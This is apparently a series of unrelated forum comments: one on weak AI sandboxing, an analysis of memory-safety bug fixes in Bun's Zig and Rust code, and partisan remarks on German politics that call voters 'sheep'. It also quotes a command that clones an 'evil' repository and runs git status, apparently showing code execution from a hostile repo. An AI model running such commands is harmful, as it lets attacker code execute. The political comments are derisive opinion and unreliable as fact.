You would have to completely airgap the entire cluster and put it in a faraday cage, the people working on that would have to physically be in the datacenter and burn CDs to one-way transfer data over. Like in all the hypothetical ASI scifi scenarios they always assumed that's a given, they thought it obvious we would put actual "effort" into sandboxing the AI, so they talked a lot about how AI would use social engineering attacks to convince humans to help it escape it's sophisticated sandbox anyway. Turns out they were all wrong about that part, it won't even be necessary.

    > git clone git://evil evil
    > cd evil\
    > git status

> heap-use-after-free crash in node:zlib when calling .reset() on a zlib, Brotli, or Zstd stream while an async .write() is still in progress on the threadpool

https://github.com/spaceraccoon/vulnerability-spoiler-alert/...

If you look at the fix you can see its all in their zig codebase:

https://github.com/oven-sh/bun/commit/621c4016218bb782e05907...

What is kind of funny is that nodejs also had a basically identical bug with an almost identical fix:

https://github.com/spaceraccoon/vulnerability-spoiler-alert/... https://github.com/nodejs/node/commit/53bcd114b10021c4a883b0...

But now the interesting question, how does the code look like in Rust?

https://github.com/oven-sh/bun/blob/8f1a9540fdff25410506de76...

It has the same guard in place as the zig and c++ versions, the rust code also just calls into the zlib bindings after the "write in progress" check.

So in this case at least the same exact use-after-free would've happened and they don't win anything from the rust port.

Another one was this:

> crash and out-of-bounds read in Buffer#copy and Buffer#fill when a valueOf callback detaches or resizes the underlying ArrayBuffer during argument coercion

I think ths is the fix:

https://github.com/oven-sh/bun/commit/79522ab6c579736dc239fa...

But the bug here is in C++ bindings, Rust wouldn't have helped here either.

Last one:

> double-free crash in the CSS parser when background-clip had vendor prefixes and multi-layer backgrounds

Fix: https://github.com/oven-sh/bun/commit/912970c98437e418a95b6b...

Code side-by-side:

Rust: https://github.com/oven-sh/bun/blob/8f1a9540fdff25410506de76...

Zig: https://github.com/oven-sh/bun/blob/912970c98437e418a95b6b5b...

I can't judge the Zig code, perhaps someone could say if this was a "beginner" mistake.

But this is at least one case where Rust would've helped, although even that is a bit complicated considering stuff like bun_ptr:

    // Lifetime-erasure helpers (RUST_PATTERNS.md §6/§18) — re-exported here so
    // crates that already depend on `bun_collections` (logger, css, js_parser,
    // crash_handler, watcher, http_types) can route the borrowck-dodge through
    // one centralised `unsafe fn` instead of open-coding the lifetime cast.
    pub use bun_ptr::{RawSlice, detach_lifetime, detach_ref};

> [..] the seminal 1976 White House Study that provided a host of provocative and first-ever insights about American customer care and its potential for profit-making. [..] corporate America is not getting the bang for its buck spent on customer complaint handling that is indeed possible. Billions of dollars in potential revenue continue to be lost [..]

The guardian never disappoints framing this whole series around the study of some og consulting business. Who needs conservative media when this is the leftmost mainstream outlet imaginable?

Its similar to Trumpism in that sense, if you ask afd voters for example they will talk about migration and crime. Must all be racists. The mainstream discourse ends there.

From a leftist pov I think its the dissatisfaction in the cartel party that makes this scapegoating popular in the first place. There are many meaningful ways that peoples material conditions are worsening, which is ignored by the establishment, then a new party comes along and blames it all on migrants. The fact the afd calls itself "alternative" is telling perhaps, it directly challenges the neoliberal "there is no alternative" (Thatcher) / "alternativlos" (Merkel) doctrine.

Germany almost 4x its defense spending, they spend hundreds of billions on defense while cutting social and infrastructure spending. Germany has neolib austerity literally written into their constitution since 2009 (debt break), interestingly the afd voters believe the inverse, that the german government has been over-spending for decades and there is no austerity which they actually want. But they also believe the cdu are leftists so there is that, just shit in their brains at the end of the day so how do you really make sense of it?

The media is barely covering it at all, the sheep are well asleep, online some just lucid dream about the democracy they never had.